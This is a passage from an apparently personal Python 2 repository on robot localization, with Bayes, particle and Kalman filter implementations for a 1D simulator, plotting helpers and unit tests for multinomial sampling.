[0.20, 0.80] N = 500000 sample = N*[0] expected = 0.80 for n in range(N): sample[n] = bayes_filter.multinomial(p) avg_sample = sum(sample)/float(N) self.assertAlmostEqual(expected, avg_sample, 2) def test_sum_p_not_equal_one(self): p = [0.2, 0.3, 0.4] self.assertRaises(AssertionError, bayes_filter.multinomial, p) def test_p_elements_are_one_or_zero(self): p = [1, 0, 0, 0] expected = 0 actual = bayes_filter.multinomial(p) self.assertEqual(actual, expected) if __name__ == "__main__": unittest.main() <file_sep>/test_calculate_cum_sum.py # -*- coding: utf-8 -*- """ Created on Thu Jul 28 15:23:31 2016 @author: Fujiichang """ import unittest import bayes_filter class TestCalculateCumSum(unittest.TestCase): def test_calculate_cum_sum(self): p = [0.2, 0.3, 0.5] expected = [0.2, 0.5, 1.0] actual = bayes_filter.calculate_cum_sum(p) self.assertEquals(actual, expected) if __name__ == "__main__": unittest.main() <file_sep>/continuous1d_simulator.py # -*- coding: utf-8 -*- """ Created on Fri Sep 09 16:09:40 2016 @author: Fujiichang """ import random class Continuous1dSimulator(object): def __init__(self, var_a, var_o): self._s = 0 self.std_a = var_a ** 0.5 self.std_o = var_o ** 0.5 self.landmarks = [0, 1, 2, 3, 4] def _draw_s(self, a): actual_a = random.gauss(a, self.std_a) new_s = self._s + actual_a return new_s def get_o(self): o = 5 * [0] for i in range(len(self.landmarks)): distance = self.landmarks[i] - self._s o[i] = random.gauss(distance, self.std_o) return o def set_a(self, a): self._s = self._draw_s(a) def get_s(self): return self._s <file_sep>/continuous1d_particle_filter_main.py # -*- coding: utf-8 -*- """ Created on Wed Sep 28 11:07:10 2016 @author: Fujiichang """ import math import matplotlib.pyplot as plt import continuous1d_particle_filter import continuous1d_simulator def show_particle_distribution(particle, s, determined_s, title, ylabel="density"): plt.plot(determined_s, 0.2, 'o', markersize=20, label="determined_s") plt.plot(s, 0.2, 'r*', markersize=20, label="actual_s") plt.legend(loc='upper right', fontsize=15, numpoints=1) plt.grid() plt.hist(particle, bins=20, normed=True, histtype='stepfilled') plt.title(title) plt.xlabel("state") plt.ylabel(ylabel) plt.xlim(-1, 5) plt.ylim(0, 2) plt.show() def show_result(s, title, line_type): plt.xlim(-1, 5) plt.grid() plt.title(title) plt.rcParams["font.size"] = 24 plt.tight_layout() plt.gca().invert_yaxis() plt.xlabel("state") plt.ylabel("time") plt.plot(s, range(len(s)), line_type, markersize=10) plt.show() def show_merged_result(s, determined_s): plt.xlim(-1, 5) plt.title("merged result") plt.rcParams["font.size"] = 24 plt.tight_layout() plt.gca().invert_yaxis() plt.xlabel("state") plt.ylabel("time") plt.plot(determined_s, range(len(determined_s)), "-+", markersize=10, label="determined_s") plt.plot(s, range(len(s)), "g--x", markersize=10, label="actual_s") plt.legend(loc='upper right', fontsize=12) plt.grid() plt.show() def calculate_rms(actual_s_log, determined_s_log): accidental_error = [] for t in range(len(actual_s_log)): accidental_error.append(abs(actual_s_log[t] - determined_s_log[t])**2) sum_a = sum(accidental_error) rms = math.sqrt(sum_a) return rms if __name__ == "__main__": std_a = 0.3 std_o = 0.5 var_a = std_a ** 2 var_o = std_o ** 2 allowable_range = 0.3 o_log = [] determined_s_log = [] a_log = [] actual_s_log = [] actual_s_log.append(0) simulator = continuous1d_simulator.Continuous1dSimulator( var_a, var_o) estimator = continuous1d_particle_filter.Continuous1dParticlefilter( var_a, var_o, simulator.landmarks) goals = [4, 0] controller = continuous1d_particle_filter.Continuous1dControllor( goals, allowable_range) particle_num = 1000 w_particle = particle_num * [0] w_particle[0] = 1 particle = particle_num * [0] s = 0 t = 0 while True: print "step:", t, "##########################" o = simulator.get_o() o_log.append(o[0]) print "o =", o particle = estimator.update_p_s(particle, o) determined_s = controller.determine_s(particle) determined_s_log.append(determined_s) show_particle_distribution(particle, s, determined_s, "after observation", "$bel(s_t)$") print "detemined_s =", determined_s print " s =", s a = controller.determine_a(determined_s) a_log.append(a) print "a =", a if controller.is_terminal(): break simulator.set_a(a) s = simulator.get_s() actual_s_log.append(s) print "s =", s t = t + 1 particle = estimator.update_p_s_bar(particle, a) show_particle_distribution(particle, s, determined_s, "before observation", "$\overline{bel}(s_t)$") show_result(actual_s_log, "actual s", "g--x") show_result(determined_s_log, "determined s", "-+") show_merged_result(actual_s_log, determined_s_log) print "RMS =", calculate_rms(actual_s_log, determined_s_log) print "Finish" <file_sep>/continuous1d_kalman_filter_main.py # -*- coding: utf-8 -*- """ Created on Wed Oct 12 20:55:54 2016 @author: Fujiichang """ import math import numpy as np import matplotlib.pyplot as plt from scipy.stats import norm import continuous1d_kalman_filter import continuous1d_simulator def show_result(s, title, line_type): plt.xlim(-1, 5) plt.grid() plt.title(title) plt.tight_layout() plt.gca().invert_yaxis() plt.xlabel("state") plt.ylabel("time") plt.plot(s, range(len(s)), line_type, markersize=10) plt.show() def show_merged_result(s, determined_s): plt.xlim(-1, 5) plt.title("merged result") plt.tight_layout() plt.gca().invert_yaxis() plt.xlabel("state") plt.ylabel("time") plt.plot(determined_s, range(len(determined_s)), "-+", markersize=10, label="determined_s") plt.plot(s, range(len(s)), "g--x", markersize=10, label="actual_s") plt.legend(loc='upper right', fontsize=12) plt.grid() plt.show() def show_distribution(mu, sigma, s, title): x = np.linspace(-1, 5, 100) p = norm(mu, sigma**-0.5) plt.plot(x, p.pdf(x)) plt.plot(mu, 0.2, 'o', markersize=20, label="determined_s") plt.plot(s, 0.2, 'r*', markersize=20, label="actual_s") plt.xlabel("state") plt.ylabel("prediction") plt.grid() plt.title(title) plt.xlim(-1, 5) plt.ylim(0, 5) plt.tight_layout() plt.show() def calculate_rms(actual_s_log, determined_s_log): accidental_error = [] for t in range(len(actual_s_log)): accidental_error.append(abs(actual_s_log[t] - determined_s_log[t])**2) sum_a = sum(accidental_error) rms = math.sqrt(sum_a) return rms if __name__ == "__main__": std_a = 0.3 std_o = 0.1 std_s = 0.5 var_a = std_a ** 2 var_o = std_o ** 2 # alpha is precision of state distribution alpha = (std_s ** 2) ** -1 # beta is precision of motion model variance beta = (std_a ** 2) ** -1 # gamma is precision of observation model variance gamma = (std_o ** 2) ** -1 mu_bar = 0 alpha_bar = 1 / 0.05 allowable_range = 0.3 o_log = [] determined_s_log = [] a_log = [] actual_s_log = [] actual_s_log.append(0) simulator = continuous1d_simulator.Continuous1dSimulator( var_a, var_o) estimator = continuous1d_kalman_filter.Continuous1dKalmanfilter( alpha, beta, gamma, simulator.landmarks) goals = [4, 0] controller = continuous1d_kalman_filter.Continuous1dControllor( goals, allowable_range) s = 0 t = 0 while True: print "step:", t, "##########################" show_distribution(mu_bar, alpha_bar, s, "before observation") o = simulator.get_o() o_log.append(o[0]) print "o =", o mu, alpha = estimator.update_p_s(mu_bar, alpha_bar, o) print "mu =", mu print "alpha =", alpha determined_s = mu determined_s_log.append(determined_s) show_distribution(mu, alpha, s, "after observation") print "detemined_s =", determined_s print " s =", s a = controller.determine_a(determined_s) a_log.append(a) print "a =", a if controller.is_terminal(): break simulator.set_a(a) s = simulator.get_s() actual_s_log.append(s) print "s =", s t = t + 1 mu_bar, alpha_bar = estimator.update_p_s_bar(mu, a) print "mu_bar =", mu_bar print "alpha_bar =", alpha_bar show_result(actual_s_log, "actual s", "g--x") show_result(determined_s_log, "determined s", "-+") show_merged_result(actual_s_log, determined_s_log) print "RMS =", calculate_rms(actual_s_log, determined_s_log) print "Finish" <file_sep>/bayes_filter.py # -*- coding: utf-8 -*- """ Created on Tue Aug 16 17:35:55 2016 @author: Fujiichang """ import random import matplotlib.pyplot as plt import matplotlib.ticker as tick p_o_s = [[0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01]] p_s_a = [[[1, 0, 0, 0, 0], [0.9, 0.1, 0, 0, 0], [0, 0.9, 0.1, 0, 0], [0, 0, 0.9, 0.1, 0], [0, 0, 0, 0.9, 0.1]], [[0.1, 0.9, 0, 0, 0], [0, 0.1, 0.9, 0, 0], [0, 0, 0.1, 0.9, 0], [0, 0, 0, 0.1, 0.9], [0, 0, 0, 0, 1]], [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]]] class BayesFilter(object): def __init__(self, p_s_a, p_o_s): self.p_s_a = p_s_a self.p_o_s = p_o_s def update_p_s(self, o, p_s_bar): g = 5 * [0] f = 5 * [0] for s in range(5): g[s] = self.p_o_s[s][o] * p_s_bar[s] sum_g = sum(g[s] for s in range(5)) for s in range(5): f[s] = g[s]/sum_g return f def update_p_s_bar(self, p_s, a): p_s_bar = 5 * [0] for s in range(5): p_s_bar[s] = sum([self.p_s_a[a][m][s] * p_s[m] for m in range(5)]) return p_s_bar class Controller(object): def __init__(self, goals): self.goals = goals def calculate_expectation(self, f): expectation = sum(f[s] * s for s in range(5)) return int(round(expectation, 0)) def determine_a(self, p_s, determined_s_log): determined_s = self.calculate_expectation(p_s) determined_s_log.append(determined_s) next_goal = self.goals[0] if next_goal == determined_s: self.goals.pop(0) if self.is_terminated() is False: next_goal = self.goals[0] if next_goal - determined_s < 0: a = 0 elif next_goal - determined_s > 0: a = 1 else: a = 2 return a def is_terminated(self): return is_empty(self.goals) class Simulator(object): def __init__(self, p_s_a, p_o_s): self._s = 0 self.p_s_a = p_s_a self.p_o_s = p_o_s def _draw_s(self, previous_s, a): p_s = self.p_s_a[a][previous_s] new_s = multinomial(p_s) return new_s def get_o(self): o = multinomial(self.p_o_s[self._s]) return o def set_a(self, a): self._s = self._draw_s(self._s, a) def get_s(self): return self._s def is_empty(goals): return len(goals) == 0 def print_result(o_log, actual_s_log, determined_s_log, a_log, t): print "Finish" print "o = " + str(o_log) print "s = " + str(actual_s_log) print "e_s = " + str(determined_s_log) print "a = " + str(a_log) show_result(actual_s_log, determined_s_log) show_merged_result(actual_s_log, determined_s_log) calculate_correct_answer(actual_s_log, determined_s_log, t) def show_p_s(p_s): plt.ylim([0.0, 1.0]) plt.bar(range(len(p_s)), p_s, align='center') plt.xlabel("state") plt.ylabel("existence probability") plt.show() def show_merged_result(s, determined_s): plt.xlim(-1, 5) plt.rcParams["font.size"] = 24 plt.tight_layout() plt.gca().invert_yaxis() plt.xlabel("state") plt.ylabel("time") plt.plot(determined_s, range(len(determined_s)), "-+", markersize=10) plt.plot(s, range(len(s)), "g--x", markersize=10) # plt.legend(['determined_s', 'actual_s']) plt.grid() plt.show() def show_actual_s__result(s): plt.xlim(-1, 5) plt.rcParams["font.size"] = 24 plt.tight_layout() plt.gca().invert_yaxis() plt.xlabel("state") plt.ylabel("time") plt.plot(s, range(len(s)), "g--x", markersize=10) plt.show() def show_determined_s_result(determined_s): plt.xlim(-1, 5) plt.rcParams["font.size"] = 24 plt.tight_layout() plt.gca().invert_yaxis() plt.xlabel("state") plt.ylabel("time") plt.plot(determined_s, range(len(determined_s)), "-+", markersize=10) plt.show() def show_result(s, determined_s): plt.subplot(211) plt.title("determined_s") plt.xlabel("state") plt.ylabel("time") plt.gca().invert_yaxis() plt.gca().yaxis.set_minor_locator(tick.MultipleLocator(1)) plt.plot(determined_s, range(len(determined_s)), '--o') plt.subplot(212) plt.title("actual_s") plt.xlabel("state") plt.ylabel("time") plt.gca().invert_yaxis() plt.gca().yaxis.set_minor_locator(tick.MultipleLocator(1)) plt.plot(s, range(len(s)), '--o') plt.tight_layout() plt.show() def multinomial(p): # sum_p = sum(p) # assert(sum_p >= 1) cum_sum = len(p) * [0] cum_sum = calculate_cum_sum(p) K = len(cum_sum) u = random.random() for k in range(K): if u <= cum_sum[k]: return k return k def calculate_cum_sum(p): K = len(p) cum_sum = K * [0] for n in range(K): if n == 0: cum_sum[n] = p[n] elif n != 0: cum_sum[n] = cum_sum[n-1] + p[n] return cum_sum def draw_p_s(s, a): p_s = p_s_a[a][s] d_p_s = multinomial(p_s) return d_p_s def draw_a(flg, p_s): max_value_list = [i for i, x in enumerate(p_s) if x == max(p_s)] if len(max_value_list) != 1: print "Command: stay" return 2 if flg == 0: print "Command: move right" return 1 elif flg == 1: print "Command: move left" return 0 def draw_o(p_o_s, s): p_o = multinomial(p_o_s[s]) return p_o def calculate_correct_answer(s_log, d_s_log, t): count = 0 for i in range(len(s_log) - 1): if s_log[i] == d_s_log[i]: count = count + 1 correct_answer = (100.0 * count) / t print "Percentage of correct answer : " + str(correct_answer) + " %" if __name__ == '__main__': o_log = [] determined_s_log = [] a_log = [] actual_s_log = [] actual_s_log.append(0) simulator = Simulator(p_s_a, p_o_s) estimator = BayesFilter(p_s_a, p_o_s) goals = [4, 0] controller = Controller(goals) p_s_bar = 5 * [0] p_s_bar[0] = 1 t = 0 while True: print "step:", t, "############" o = simulator.get_o() o_log.append(o) print "o =", o p_s = estimator.update_p_s(o, p_s_bar) show_p_s(p_s) a = controller.determine_a(p_s, determined_s_log) if controller.is_terminated() is True: show_actual_s__result(actual_s_log) show_determined_s_result(determined_s_log) print_result(o_log, actual_s_log, determined_s_log, a_log, t) break a_log.append(a) print "a =", a simulator.set_a(a) s = simulator.get_s() print "s =", s actual_s_log.append(s) t = t + 1 p_s_bar = estimator.update_p_s_bar(p_s, a) show_p_s(p_s_bar) <file_sep>/continuous1d_kalman_filter.py # -*- coding: utf-8 -*- """ Created on Fri Sep 09 19:08:12 2016 @author: Fujiichang """ import numpy as np import random import bayes_filter class Continuous1dControllor(object): def __init__(self, goals, allowable_range): self.goals = goals self.allowable_range = allowable_range def determine_s(self, mu, alpha): determined_s = mu return determined_s def determine_next_goal(self, determined_s): next_goal = self.goals[0] allowable_range = self.allowable_range diff = next_goal - determined_s distance = abs(diff) if distance < allowable_range: self.goals.pop(0) if self.is_terminal() is False: next_goal = self.goals[0] return next_goal def determine_a(self, determined_s): next_goal = self.determine_next_goal(determined_s) diff = next_goal - determined_s direction = np.sign(diff) distance = abs(diff) a = direction * min(1, distance) return a def is_terminal(self): return bayes_filter.is_empty(self.goals) class Continuous1dKalmanfilter(object): def __init__(self, alpha, beta, gamma, landmarks): self.alpha = alpha self.beta = beta self.gamma = gamma self.landmarks = np.array(landmarks).reshape(-1, 1) def update_p_s_bar(self, mu, a): mu_bar = mu + a alpha_bar = (self.alpha**-1 + self.beta**-1)**-1 return mu_bar, alpha_bar def update_p_s(self, mu_bar, alpha_bar, o): mu = (self.gamma*(-o[0]) + alpha_bar*mu_bar) / (self.gamma + alpha_bar) alpha = self.gamma + alpha_bar return mu, alpha
532cb6efbf12cb18eb7413144494074a88d13d4e
[ "Python" ]
9
Python
is0232xf/localization
a77996d0ec4213bf17631859683e451c1569ca4c
33c76909fc2755623e28c550c2106a2a9bf7e4e4